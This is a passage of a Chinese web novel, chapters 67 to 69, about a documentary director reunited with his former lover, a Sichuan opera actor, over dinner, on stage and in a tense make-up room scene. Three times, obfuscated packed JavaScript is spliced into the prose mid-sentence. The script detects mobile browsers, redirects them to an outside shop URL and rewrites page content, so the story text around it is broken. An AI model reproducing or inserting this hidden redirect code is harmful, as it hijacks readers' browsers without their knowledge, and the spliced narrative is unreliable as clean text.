杨知夏就斜靠在剧院门框上,皮衣领口别了枚YSL胸针。五年没见,她那头鲻鱼头髮尾染成了灰紫色,可挑眉那劲儿,还跟大学时一个样。 还是那么瘦,还是那么……又美又帅。 陈声和愣愣地看着她,嗓音有些干涩,没想到会在这里碰到她。 “真不记得我啦?”杨知夏食指转着车钥匙圈,“当年你镜头恨不得长在我们霄川身上,连我都没捞着几个正脸。” 咖啡杯一晃,林瑶赶紧伸手扶住。小姑娘悄悄打量杨知夏,小声问:“导演,这位是……?” “杨知夏,大学戏剧社的学姐。”他简短地介绍。 杨知夏目光转到林瑶身上,下巴一抬:“你是潮汕人吧?” 林瑶一愣:“啊?是……您怎么知道?” “一听口音就知道,”杨知夏笑了,意味深长地瞥了陈声和一眼,“你们潮汕人说话,总带点‘呀’、‘咯’这样的小尾巴,我们成都人可学不来。” 林瑶脸一红,默默推了推眼镜。 杨知夏又补了句:“尾音软软的,说什么都像在撒娇。” 陈声和:“…………” 林瑶:“???” 67.爱不是可怜,尤其是对他 陈声和还没来得及接话,川剧院的门又开了,李霄川从里面走出来。 他今天没穿戏服,就一件黑色卫衣,头发半干不湿地支棱着。看见门口这三人,脚步明显顿了一下。 他看向杨知夏,眉头轻轻一皱:“……什么时候来的?” 杨知夏笑着把刚点的烟按灭:“刚到,碰见你老熟人了。” 李霄川看了眼时间,今天和杨知夏约了吃饭:“走吧。” 杨知夏耸耸肩,转向陈声和:“陈导,一块儿吃个饭呗?好久不见了,我请客,叙叙旧?” 陈声和还没应声,林瑶已经小声插话:“导演,我们下午确实没安排……” 他沉默一会,才点了点头:“……好。” 李霄川只是微微顿了一下,没说什么,转身就往街上走。卫衣帽子被风吹得鼓起来,在灰蒙蒙的天色里,像张黑色的帆。 杨知夏冲陈声和眨眨眼,钥匙串在指间哗啦一响,用口型无声地说: “死德行。” 他们去的那家潮汕牛肉火锅店,就藏在老城区一条小巷深处。招牌上的红漆已经斑斑驳驳,掉得差不多了,塑料门帘也被长年累月的油烟熏得发黄。 店里坐的基本都是本地熟客,没几个外地人。四周此起彼伏的四川话,掺着牛肉丸在清汤锅里“咕嘟咕嘟”翻滚的声音。 说起来,这家店的老板娘就是潮汕人。那会儿上大学,他们常来,老板每回见到陈声和,都要扯着嗓子念叨:“你们潮汕女儿好凶哦!连麻将钱都不给我留点!” 陈声和也总会笑着回一句:“你们四川男人,哪个不是嘴上说着耙耳朵?” 这时候,李霄川准会在旁边插一嘴,带着点不服气的笑意:“哎,你莫乱说哦。我可是正儿八经的耙耳朵,可不是光嘴上说说的那种。” 他这话一出,桌上的人都忍不住笑起来。 老板更是拍着大腿直乐:“对对对,霄川这点我作证!” 这一来二去,他们就混成了熟客。老板和老板娘人也实在,总给他们打折,时不时还送盘牛肉或者几瓶饮料。 杨知夏熟门熟路地调好沙茶酱,红油锅底刚滚开就利索地下了盘毛肚。 “陈导,”她筷子尖在锅里画着圈,“听说你这些年专拍非遗纪录片?怎么突然想起拍川剧来了?” 陈声和正往漏勺里放嫩牛肉,闻言手腕顿了顿,肉片在勺底微微蜷曲,渗出淡淡的粉色汁水。 “……川剧值得被记录。”他盯着肉片由红转褐的过程,声音轻得几乎被隔壁桌的喧闹盖过。 “是吗?”知夏突然笑出声,指甲上未剥落的黑色甲油在蒸汽里反着光,“不是因为某个人?” 瓷筷与骨碟碰撞出磕碰的声响。李霄川把筷子往桌上一撂,不锈钢锅沿映出他绷紧的下颌线。 “好凶哦。”杨知夏捞起烫得刚好的毛肚,蘸满酱料塞进嘴里,腮帮子鼓鼓的,“不过你运气确实好,我们霄川现在可是省剧院的台柱子,去年刚评了国家一级演员,就他这个年龄,很够分量了。” 陈声和抬起眼睛。李霄川正用漏勺搅动着红汤,辣椒在漩涡里打转,红油映在他漆黑的眸子里,却映不出半点波澜。 “学姐,叫我名字吧。”陈声和转着茶杯,“学姐现在在做什么?” “搞纹身。”皮衣外套随着她伸懒腰的动作滑下半边,整条花臂暴露在火锅蒸腾的热气里。 牡丹与荆棘的纹路在氤氲中朦朦胧胧,靛青的墨色渗进皮肤肌理,让陈声和突然想起李霄川肩胛骨上有道疤,曾经他拿钢笔画过一朵荼蘼,不知道现在还在不在了。 “手艺不错。”他听见自己说。 “还行吧。”杨知夏的视线在他和李霄川之间来回扫视,低声问,“你俩,现在怎么个情况?” 火锅汤底咕嘟冒出一个气泡,在沉默中炸开。 “什么情况也没有。”李霄川用漏勺搅动着红汤,捞起的毛肚在滤网上滴着油,“分店选址看好了吗?” 杨知夏“啧”了一声,筷子尖在碗沿敲出段即兴的节奏。她瞥了眼陈声和绷紧的下颌线,终于顺着话题说起二店装修的糟心事。 陈声和悄悄松了口气,低头抿了一口杯里早就凉透的苦荞茶,那熟悉的苦涩味儿在舌根慢慢漫开。 趁着杨知夏絮絮叨叨地倒苦水,他从那些零碎的话里,一点点拼出了李霄川这五年的大概模样。 原来李霄川不单单在川剧院唱戏,还是杨知夏那家纹身店幕后的半个老板。 不光这个,他俩前两年还在春熙路合伙加盟了一家挺火的奶茶店,生意好得很,听说杨知夏今年中都靠分红把房子给买了。 不过这些事儿都算他们的“副业”,明面上的老板都是杨知夏,知道李霄川也掺了一脚的人,并不多。 “对了,”杨知夏突然用筷子指向李霄川,“你那破公寓到底什么时候退租?每天从城东跑到城西去剧院,油钱都比房租贵了。” 陈声和手指一僵,茶杯在桌上磕了一下,热水溅在手背,皮肤瞬间泛红,他却像感觉不到疼。 “住习惯了。”李霄川顺手抽了张纸巾按在陈声和手背上,动作熟练得仿佛肌肉记忆,“以后再说。” 杨知夏翻了个天大的白眼,把话题又转向更危险的方向:“声和结婚没有?” 桌上的牛肉盘微微晃动,清汤锅里浮着的白萝卜片不知何时已经煮得透明了。 陈声和盯着纸巾上晕开的水渍,缓缓摇了摇头。这个简单的动作仿佛用尽了他全身的力气。 快二十七岁没结婚在潮汕意味着什么,在座的都心知肚明。 同龄人的朋友圈里晒满了孩子的周岁宴,祠堂祭祖时长辈们意味深长的目光像针一样扎在背上。 母亲每次电话结尾总要提一句“隔壁阿妹家的二胎都会走路了。” “这还真是意外。”杨知夏推来一瓶冰镇啤酒,玻璃瓶身凝结的水珠顺着她涂着黑色甲油的手指滑落,在桌布上洇出一个个深色的圆点。 “家里没给你安排相亲?”她嘴角噙着点说不上是笑还是嘲讽,“你妈可是出了名的急性子。” 说起陈声和家催婚的这事儿,那在宿舍里也是一桩奇谈,从他大一家里的催婚令就跟来了。 同宿舍的张远是陕西人,西北地区男孩子结婚的年龄普遍也早,但当时听了都觉得很惊讶。 “催恋爱的我见过,这刚大一就催结婚的?这节奏也太快了!” 谁知道呢,陈声和也回答不上来。 啤酒泡沫从杯沿溢出来,沾湿了陈声和的虎口。他仰头灌下一大口,冰凉的液体滑过喉咙,却浇不灭胸口的灼烧感。 “不想结。”他说得很轻,但每个字都像是从牙缝里挤出来的。 “有合适的就结了呗,”杨知夏的筷子尖漫不经心地戳着碗里蔫掉的香菜,“耗到最后还不是一样。” 这话像折磨死人的偏头痛,顺着陈声和的耳道钻进血管,随着心跳被泵往全身。 他握着茶杯的手指微微收紧,滚烫的杯壁灼着掌心,却压不住从脊背蹿上来的寒意。 火锅蒸腾的热气模糊了每个人的表情,红油在锅里咕嘟咕嘟冒着泡,如同陈声和此刻翻搅的胃。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005908|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李霄川始终没再看他,只是机械地往锅里下着菜,鸭血在红汤里沉浮,很快被煮得发白。 吃到差不多,李霄川起身去了前台结账,杨知夏从皮衣口袋摸出烟盒,手指在盒底轻轻一磕,一支细长的薄荷烟跳了出来。 她递给陈声和时,烟嘴正好沾上了一些火锅店玻璃窗映进来的霓虹光,像截将熄未熄的香。 “可以啊,现在都学会抽烟了。”杨知夏点燃自己的那支,打火机的火苗在她瞳孔里跳动,映出眼底那抹说不清道不明的情绪。 陈声和就着她的手点烟,第一口就呛得咳嗽。 尼古丁的味道掺着薄荷的凉,让他想起大学时李霄川总爱嚼的那种口香糖,蓝色包装,带着相似的清凉感。 “偶尔。” 他哑着嗓子回答,看着烟灰缸里积攒的烟蒂,最上面那个还带着杨知夏的口红印。 杨知夏突然伸手掸了掸他肩头并不存在的灰尘,这个突如其来的亲昵动作让陈声和浑身僵硬。 “知道为什么选这家店吗?”她吐出的烟圈在灯光下变成淡蓝色,慢慢消散在空气中,“当年你走后,他在这儿喝到胃出血。服务员给我打电话时,他还在往杯子里倒二锅头。” 烟灰突然就断了,直直掉下来烫在陈声和虎口上。可他像是完全感觉不到疼,动都没动。 那头,李霄川正站在收银台前低头扫码,老板一边跟他搭话,一边往这边瞟。 “那间公寓他续租了五年。”杨知夏的指甲轻轻刮擦着玻璃杯沿,发出令人牙酸的声音,“每月15号准时转账,连你留下的拖鞋都还在玄关,位置都没变过。” “陈声和,你身后有一大家子人,这我懂。”杨知夏的指甲在烟盒上敲了敲,每一下都像是打在陈声和心上。 她目光投向李霄川的背影:“他什么也没有,只有一身伤换来的血汗钱。爱一个人,最要不得的就是可怜。尤其是对他,你可怜不起。” 李霄川那原生家庭的苦,是任谁都解不开的死结,就像刺青一样,早已成了骨血里的烙印。 陈声和懂她的意思。 就像以前张远也大惊小怪地问过他:“哎我说,李霄川自己穿得跟捡破烂似的,浑身上下没一件像样牌子,你这从头到脚可都不便宜。你俩走一块,真不觉得……那啥吗?” 那时候陈声和正低头给李霄川磨破的戏服袖子缝补丁,眼皮都懒得抬:“觉得什么?” “尴尬啊!”张远像是听见什么笑话,嗓门都扬起来了,“不觉得丢面子吗?” 怎么会觉得丢脸呢? 陈声和到现在都记得,当时心里冒出来的不是怒火,也不是对张远那种势利眼的不屑。 而是更深、更无奈的悲悯,他悲悯张远,恐怕这辈子都无法体会到这样一种情感。 当你身边的那个人,是李霄川。 是那个即便穿着洗到发白的旧T恤,骨子里的傲气与风骨却比任何华丽服装都更笔挺的李霄川。 是那个自己顿顿泡面,却舍得给他买最新款手机的李霄川。 是那个在破旧练功房里,一个旋子能翻出惊心动魄的漂亮,让周围一切都失了颜色的李霄川。 他往那儿一站,本身就是一出最精彩的戏。 什么名牌、多少钱,那些世俗的尺子,在他那身才华和傲骨面前,显得特别没劲,特别窄。 跟他走在一起,陈声和只觉得自己也被那光照着,心里满满的都是骄傲。 他怎么会觉得丢脸? 他只想用自己的方式,好好护住李霄川那颗滚烫,并且不掺一丝杂质的心。 68.《送京娘》 远处传来餐具碰撞的声响将陈声和拉回来,瓷碗相击的余韵在嘈杂的人声中异常清晰。 陈声和喉咙动了动,嘴里的苦不知道是烟味还是别的。 在这片熟悉的嘈杂中,杨知夏的话继续砸在耳畔:“你明白我说什么吗?” 前台那边,李霄川正在接小票,细长的手指把纸条对折,再塞进钱包夹层。 这个动作,陈声和看过太多次了。 “我不是在怪你。”杨知夏站起来,皮衣发出轻微的摩擦声,“只是提醒你,想清楚再靠近他。” 她将烟蒂按进烟灰缸,残留的口红印在滤嘴上晕开:“他现在经不起第二次了。” 最后她看了眼陈声和颤抖的手指,那里还残留着香烟的余温。 “如果做不了主,就别再打扰他了。好聚好散吧。有些伤口,结痂了就不该再被撕开。” …… 回到酒店,陈声和一夜没合眼。 空调嗡嗡响着,偶尔有车从窗外马路驶过。这些声音织成一张网,把他牢牢按在回忆里。 他干脆起身打开电脑,点开一个五年前的录音文件。文件名很简单,就一个日期,是李霄川在台上唱《白蛇传》的片段。 黑暗里,音频波形上下跳动,像颗不安分的心脏:“若得一人心,白首不相离……” 李霄川的嗓音清亮,带着青春独有的朝气,尾声轻挑而起,恰是陈声和最爱的爱的转调,百听不厌。 而现在,那道声音已经染上了岁月的沉郁。 今晚席间李霄川偶尔的应答,都像是蒙着一层薄雾,再不见当年的鲜活。 窗外霓虹闪烁,变幻的光影在天花板上投下流动的色块。 陈声和解开睡衣,手指触到心口那处凹凸不平的皮肤,去年在北京,他偷偷去纹了朵荼蘼。 纹身师曾说荼蘼花最适合遮盖疤痕,针尖刺破皮肤的疼痛让他想起李霄川第一次教他川剧脸谱时说的话。 “上妆要忍得住痛,才能演得好戏。” 可李霄川没告诉他,被针扎过的皮肤好了之后,会永远留下细小的凸起。就像有些以为早就忘了的旧事,总在雨天隐隐发痛。 …… 转眼间,拍摄就走到尾声了。 今天这场,是陈声和团队在川剧院的最后一场拍摄,拍的正是他当初答应李霄川要录的——《送京娘》。 川剧院后台那灯泡,一看就有些年头了,光线昏黄昏黄的,打在李霄川脸上,把他那张脸的轮廓照得又锋利,又疲惫。 他闭着眼睛,一动不动,化妆师拿着细软的笔刷,在他眉骨上一笔一笔描。油彩一层层盖上去,把他原本的模样,一点点藏进了戏妆里。 陈声和就站在门口,手里攥着摄像机,攥得指节都有点发白。 算下来,这已经是他们团队在这儿的第50天了。也是最后一天。 按计划,今天只要拍完李霄川这出全本《送京娘》,纪录片的主要素材,就算收尾了。 “导演,电池都换新了。”林瑶小声凑过来,顺手递了张备用储存卡。 陈声和点了点头,没吭声。他的眼神,从头到尾就没离开过李霄川。 后台光线实在不算亮,等化妆师收工,李霄川自己坐到镜前,开始勾脸。 手指蘸着朱砂,一笔一画地勾着赵匡胤的脸谱。红底,金线,眉梢斜飞入鬓,眼尾一抹凌厉的黑。 这是川剧里典型的武生脸,张扬,桀骜,带着几分煞气。 陈声和就站在不远不近的地方,镜头悄悄对着他的侧脸。 李霄川从镜子里瞥见了他,嘴角轻轻扯了一下。 “陈导,”他开口,声音里还拖着点戏腔的尾音,像没完全从角色里出来,“今天拍完,你们就该撤了吧?” 陈声和喉结轻轻滚了滚,低低“嗯”了一声。 李霄川的唇角轻轻扯了一下,像是笑,又不像。他拿起勾脸笔,在掌心转了一圈,笔杆上的漆已经磨得斑驳,显然用了很多年。 “那最后一场,你们可得拍好了。”他的语气很淡,却让陈声和的心脏猛地收紧。 林瑶一边调整机位,一边忍不住偷看陈声和。 其实从进组第一天起,她就觉得导演和李霄川之间……有点什么。说不上来,反正不是普通老熟人,也不像纯粹的工作关系。 每次李霄川在台上唱念做打,陈声和的镜头就跟着他转,像生怕漏掉他任何一个细微的表情。 而李霄川呢…… 林瑶悄悄瞄向镜子。 镜子里那张脸,被油彩勾勒得愈发锋利张扬,可那双眼睛却沉得看不见底,什么都读不出来 “导演,待会儿特写和全景都抓吗?”她压低声音问。 陈声和沉默了一下,才开口:“都拍。” 林瑶“哦”了一声,没再往下问。她不是不好奇,但陈声和从来不多说,她也懂得分寸。 只不过有时候,她撞见陈声和深夜一个人坐在那儿回看素材,手指总是不自觉地、一遍遍摩挲屏幕上李霄川的脸…… 那样子,真的不像只是在工作。 …… 后台广播响了,催着演员准备上场。 李霄川唰地站起来,戏服下摆从陈声和脚边扫过,带起一阵熟悉的檀香味,是他一直用的戏服熏香,陈声和再熟悉不过了。 “走了。”李霄川撂下这句话,头也不回地往台上走。 陈声和深吸一口气,跟了上去。 林瑶小跑着追过来,犹犹豫豫地开口:“导演,李老师他……是不是不太对劲啊?” 陈声和摇摇头,示意她别说话。 李霄川哪是不对劲,他是太对劲了。 他非常熟悉这种眼神。 五年前,李霄川头一回演《白蛇传》里的许仙,上台前也是这么个状态。看着轻松随意,可那双眼睛里烧着火,恨不得把整个戏台都点着了。 那时候陈声和还能笑着逗他:“你这么凶,白娘子见了都得跑。” 可现在,他只能隔着镜头,安安静静地看着。 舞台边上,摄像已经就位。陈声和最后调了调白平衡。取景框里,顶灯打亮的灰尘慢悠悠地飘着。 场灯暗了下去,观众席的嘈杂声一层层安静下来。 “锵”的一声锣响划破黑暗,大幕猛地拉开。追光灯“啪”地亮起,光柱里的灰尘好像突然定住了。 李霄川就站在那束光的尽头,大红色的靠旗在身后哗啦啦地响,眉心的金粉亮得晃眼。 他微微仰起头,下巴绷得紧紧的,喉结随着深呼吸轻轻滚动。 鼓点突然炸响,他一个鹞子翻身从高台上跃下,马鞭在手:“赵匡胤在此!” 衣袂翻飞间,腰间的红绸带在镜头里一闪而过,那抹褪色的红在崭新的戏服上显得格格不入。 舞台灯光大亮,鼓点如雷。陈声和站在最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005909|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后一排,镜头稳稳对准舞台中央。 这是川剧的经典段子《送京娘》,讲的是赵匡胤千里送京娘回家,最后却因为礼法不得不分开的故事。 才子佳人,到底还是有缘无分。 不过李霄川演的赵匡胤,早已不是旧时模样。 他将文生戏改成了武生戏。 老戏迷都知道,传统的赵匡胤是不戴靠旗的。 可李霄川偏要创新,翻身、旋腰、鹞子回旋,每一个动作都带着靠旗划破空气的呼啸声。 银线绣的蟒纹在追光灯下流光溢彩,倒把那千古遗恨演出了几分沙场纵横的烈性。 陈声和还记得第一次看这出戏时,李霄川说过:“最折磨人的不是生离死别,是明明相爱,还得装出一副大义凛然的样子。” 所以这出戏最难的,从来不是那些武打动作,而是克制。要把侠义心肠演得真切,把怦然心动演得含蓄,最后把万般不舍都压进沉默里。 鼓板骤响,李霄川单足点地,一个倒扎虎从三米高台翻下,红衣翻卷如云霞,落地时却轻若飞絮。 这是川剧武生轻、飘、溜的硬功夫。 陈声和对这些已经非常熟悉了,但更知道的是李霄川身上不少道疤就是练这个动作时摔的。 只见他手中马鞭一抖,挽出个漂亮的鞭花,转身时红袍高高扬起,像一团烧得正旺的火。 台下静得能听见呼吸声。 李霄川饰演的赵匡胤背对观众,腰间那条褪色的红绸带若隐若现,却又显得这段戏更痛了。 那条褪色的红绸,仿佛在诉说着:光鲜亮丽的戏服可以随时更换,但有些东西,一旦系上了,就再也解不下来。 即便颜色淡了,边角起毛了,它依然牢牢系在那里,成为角色的一部分,成为生命的一部分。 不能宣之于口,却从未真正放下。 赵匡胤护送京娘,一路恪守礼法,将情愫压了又压。 而李霄川演这赵匡胤,何尝不也是将陈声和留下的这点念想压了又压,藏了又藏,只在转身腾挪时,才敢让它露出一角。 戏里,赵匡胤的红是忠肝义胆。 戏外,李霄川的红是未能善终的痴缠。 一条绸带,两段深情,却都是一样的求不得,放不下,只能靠一身硬功夫,演给旁人看一场大义凛然。 “贤妹且慢!前路凶险!” 这时反派挥刀劈来,李霄川一个抢背滚地避开,紧接着乌龙绞柱腾空而起。 陈声和握紧了手,这个动作对肋骨负担很大,而李霄川上周彩排时还疼得直不起腰。 刀光交错间,李霄川一套地趟刀法行云流水,背贴地面翻滚,单刀舞得密不透风。 可就在某个转身的瞬间,他眉头轻轻一皱。 随后他猛一转身,油彩勾勒的面容英气逼人,金线描画的眉梢斜飞入鬓,可那双眼睛里,却藏着说不出的隐忍。 陈声和屏住呼吸,手指微微发颤。这个重情重义却又不得不恪守礼法的角色,活脱脱就是李霄川自己。 鼓声越来越急,戏演到赵匡胤送京娘至渡口。李霄川一个腾空后翻,红袍如晚霞漫卷,稳稳落在船形道具上。 “好!”台下有人忍不住喝彩。 陈声和把镜头推近特写。 李霄川额角沁出细密汗珠,油彩下的皮肤在发红,这表情陈声和再熟悉不过,同居那会儿,每次他肋骨旧伤发作,都是这副模样。 69.你留不住的 戏至中场,歹徒围攻。 李霄川侧身躲过暗器,马鞭横扫,四个武行同时后仰。他趁机腾空而起,连续三个后空翻,腰间的红绸带随风飞舞。 陈声和心脏猛地被揪了一下,那个红绸……是五年前他亲手编的。潮汕老人说,红绸系腰,灾厄不扰。 李霄川当时把它系在戏服内衬里,轻声说:“以后每场《送京娘》都戴着,就当……” 话没说完,但他们都懂。 如今绸带已经褪色,边缘都起了毛边,没想到他还留着。 舞台上,李霄川的马鞭舞得越来越急。最后一段趟马表演,他几乎贴着戏台边缘飞驰,马鞭点地溅起木屑。 观众全都屏住呼吸。 这段表演比传统戏路疯多了,不像那个克己复礼的赵匡胤,倒像……像五年前那个在机场狂奔的少年。 “兄长请回吧。”饰演京娘的花旦水袖轻扬。 李霄川踉跄退步,突然跪倒在地。这个即兴添加的动作让乐队指挥赶紧追上鼓点。 他咬破口中的血浆胶囊,一道血箭喷在雪白水袖上。这不是原剧本的安排,但红梅落雪般的血迹,让全场为之震撼。 陈声和记得,这是他们以前排演时讨论过的处理:“要是赵匡胤能吐一口血,观众就明白他心里有多痛了。” 最后一幕,赵匡胤目送京娘远去。 李霄川瞬间脱力跪下,红袍铺展如晚霞。他脸上油彩依旧英挺,眼神却空了,直直望向观众席某处。 陈声和知道,他在看自己,就像大学时每次演出,李霄川总能在黑暗中准确找到他的位置。 “保重……” 这句本该克制的告别,被李霄川念得字字泣血。 后排两个举着手机的姑娘放下设备,穿汉服的轻声说:“不想录了,他身上有戏,镜头吃不透的。看得久了,总觉得……想起了上辈子的事。” 另一个满脸泪水,喉头哽咽:“我从来没想过23岁的我,有一天会坐在这里看川剧,甚至红了眼眶。” 陈声和把两个女孩的背影录了进来,他想起第一次带李霄川看潮剧时,自己也说过类似的话。 舞台上,李霄川死死盯着虚空,眼神却像穿透时光。马鞭从他指间滑落,在木地板上敲出三声清响,这也是原版没有的细节。 五年前他们看老录像时,李霄川曾说:“赵匡胤要是再多说一句,戏就毁了。” 可此刻他加了一句轻若蚊呐的:“不悔。” 台下传来此起彼伏的喝彩声,而他的耳机里只剩下自己剧烈的心跳。 前排穿蓝布衫的老者张大嘴,黄铜烟杆当啷掉在地上。他哆嗦着对身旁老伴说:“这娃儿的戏,比三十年前那小子还利索!” 大幕缓缓合上,掌声如潮。 李霄川没有起身谢幕。 他躺在戏台上,胸口剧烈起伏,脸上的油彩被汗晕开,红黑交错,如同一张被雨水打湿的旧年画,鲜艳却斑驳。 陈声和的镜头里,最后定格的是那条从戏服中滑落的红绸带,静静躺在台板上,真的……像一道结痂后又被撕开的伤口。 林瑶小声问:“导演,还拍吗?” 陈声和沉默地关掉了摄像机:“不拍了。” 观众席掌声雷动,还有人带着哭腔喊“安可”,根本停不下来。 陈声和还站在原地没动。摄像机早就关了,可他一只手还按在机身上,手指关节捏得发白,好像一松手,这机器就会长翅膀飞了似的。 “小林。”陈声和忽然侧过身,嗓子有点发紧,“去,找几个人……采访一下刚才看《送京娘》的观众。” “好的导演,”林瑶立刻掏出笔记本,“需要特定年龄段吗?比如优先采访老戏迷?” “不用。”陈声和望着坐得满满的观众席。那些戴着“川”字发光发箍、挥着荧光棒的年轻人,一个个还没出戏,眼睛都红红的。 他喉咙动了动,突然想起前不久散场后的深夜,李霄川一边卸妆一边跟张图闲聊的话。 “这些小娃儿们的心啊,是这世上最透亮的。我能有今天的市场价值,最要感谢的就是这些年轻朋友些。是他们真金白银、一张张票把我捧起来的,这份好,我晓得。” 不管在哪个圈子,能真心实意地去喜欢一个偶像,这事儿本身就挺了不起的。 那份心意特别真挚,那份付出也特纯粹,你说人这一辈子,能这么不计回报地去欣赏和支持另一个人,多难得啊。 在很多人固有的认知里,觉得追星就是个得被说教、甚至被骂的事儿。 他们想不通,怎么会有人愿意对一个陌生人投入那么多热情、花那么多钱,甚至在自己平时花钱挺省的地方,对偶像却特别大方。 然而,那又如何? 她们一路奔赴的,或许本就不是那个完美的人,而是那个在追光路上,无比投入、闪闪发光的自己。 这种感觉,就像花自己的钱,买到了最想买的快乐和动力,这份自己挣来的热血和感动,凭什么要按别人的标价来算? 这笔账,她/他们自己觉得值,那就够了。 陈声和懂李霄川话里那点遗憾。李霄川总觉得自己就是个唱戏的,给不了他们像偶像剧里那样的浪漫。 其实他可以的,以李霄川的条件,在这个网络时代想红太容易了。即使不唱戏,那张脸,那份有趣的灵气,多少综艺抢着要。 戏迷们也常感慨,若他肯多露露面该多好,毕竟川剧院没有线上演出,好多人得专门跑成都来看,或者苦等巡演。 可他心里那根尺子量着,戏台之外,半步不肯逾距。 但陈声和能。他可以把这些真挚的身影,一个一个,全都收进他的镜头里。 就当作是……替他补上一份迟到了许多年,笨拙而沉默的致谢。 因为他始终记得那人说过:这些用满腔热爱为他照亮前路的年轻人们,值得被视若珍宝,值得拥有星河璀璨。 所以,戏要一场比一场好,才对得起她们风尘仆仆赶来的心意;也得让她们在镜头里发光,让她们的喜欢,被所有人看见。 演出结束的掌声还没散干净呢,幕布已经慢悠悠合上了,把台上那片扎眼的红挡得严严实实。 陈声和低头收拾三脚架,摄像机边角磨得都掉漆了,这机器跟了他五年,跑东跑西的,拍李霄川的每个镜头,都是它扛下来的。 林瑶忙完回来,蹲在旁边理电线,小声嘟囔:“导演,其实上次拍的卸妆片段,剪剪也能用。” 陈声和闷闷“嗯”了一声,头都没抬。 他当然知道能凑合,可心里就是别扭,关于那个人的每分每秒,他都想亲手拍下来。 从第一次拍李霄川开始,那人的眼神就跟追光灯似的,死死咬住他。哪怕台下黑压压坐满了人,李霄川总能一眼把他从人堆里捞出来。 就像大学时一样。 “走吧。”陈声和轻声说,抱起设备往后台走。 后台通道窄得很,两边贴满了这些年演出的老海报。 走到拐角,陈声和突然刹住脚步。 墙上有张五年前的《白蛇传》,是李霄川演的许仙正伸手接伞,眼神软得能掐出水。 那是他们分手前最后一场同台合作。 “陈导?”林瑶疑惑地回头,“怎么了?” “……没事。” 他收回视线,推开化妆间的门。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005910|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李霄川坐在镜子前,头冠已经摘了,正拿着湿巾擦眼妆。从镜子里瞥见陈声和进来,手上顿了顿,却没回头。 “陈导还有事?”嗓子比台上哑,带着刚卸妆的懒劲儿。 陈声和把摄像机搁桌上:“还差个结尾。” “什么结尾?” “……卸妆的镜头。” 李霄川举着的湿巾悬在半空,红油彩啪嗒滴在白衣领上,晕开一小块粉痕。 他慢慢转过头,脸上的妆只卸了一半,左眼还勾着凌厉的黑线,右眼已经恢复成本来的样子。 半张脸是戏里的角儿,半张脸是戏外的李霄川。 “陈声和。”连名带姓的三个字,冻得人发僵,“你究竟想干什么?” 林瑶抱着电池缩在门口,吓得不敢喘气。李霄川绷起脸来太吓人了,拍摄这么久,她依旧会害怕这位川剧演员发脾气。 陈声和看着他:“纪录片需要真实。观众想看到演员卸下舞台形象的样子。” “真实?”李霄川猛地站起来,椅子腿在地上划出刺耳的尖叫。 他一把扯下腰间的戏带,往化妆台上一摔,“哐当”一声震得粉盒翻倒。 “你镜头里拍的我,到底是真实的我,还是你幻想出来的那个李霄川?” 陈声和站在原地,只有喉咙轻轻动了动。 林瑶忍不住插话:“李老师,这是资方要求的,导演他只是想完整记录川剧演员的……” “小林。”陈声和打断她,“你先出去吧。” 门被林瑶轻轻带上,发出一声轻微的咔吱声。 化妆间里只剩他俩了。 李霄川胸口剧烈起伏着,化妆间的顶灯在他脸上投下来,将未卸完的半边油彩照得尤其狰狞。 他抓起卸妆油瓶子,挤出一大坨在掌心,胡乱抹在脸上。油彩掺着油脂在皮肤上晕开,顺着下巴滴落在月白色的戏服领口,洇出一片污渍。 “来来来,今天我让你拍个够?” 他突然扭头瞪向陈声和,指着自己这张乱七八糟的脸,声音又尖又刺:“来啊!拍啊!今天让你拍个够!这种场面多难得啊,陈大导演不是最会抓这种精彩瞬间吗?” 陈声和站在原地没动,眼尾红红的,摄像机拿起来又垂在身侧,镜头盖都没摘。 “怎么,不敢拍了?”李霄川冷笑,随手抓起桌上的粉扑狠狠摔在地上,“陈大导演不是最擅长拍什么美强惨吗?我现在够不够惨?啊?” 他声音猛地拔高:“是不是不够?我再往身上插几刀给你拍好不好啊?!” 话音没落,他抓起一支化妆刷狠狠砸向墙上的镜子。玻璃“咔嚓”一声裂开一道长缝,正好横在他俩的倒影中间。 “五年了……你拍我练功拍到伤口流血,拍我上台拍到弯腰谢幕,现在连我卸个妆你都不放过!” 李霄川的声音突然低了下去,带着点哑。他抬手抹了把脸,结果把油彩蹭到了颧骨上。 “陈声和……你是不是非要把我拍得粉碎,才甘心?” 陈声和的手指死死抠着摄像机。 镜子里,那道裂缝把李霄川的脸劈成两半:一半还是台上那个妆容精致、光芒四射的名角儿;另一半,却只是个眼眶发红、满脸油彩的普通人。 “我只是……”陈声和声音发抖,“想留住点什么。” 李霄川动作顿了一下。然后他拿起卸妆棉,缓慢而用力地擦掉脸上最后那点油彩,露出原本的皮肤。 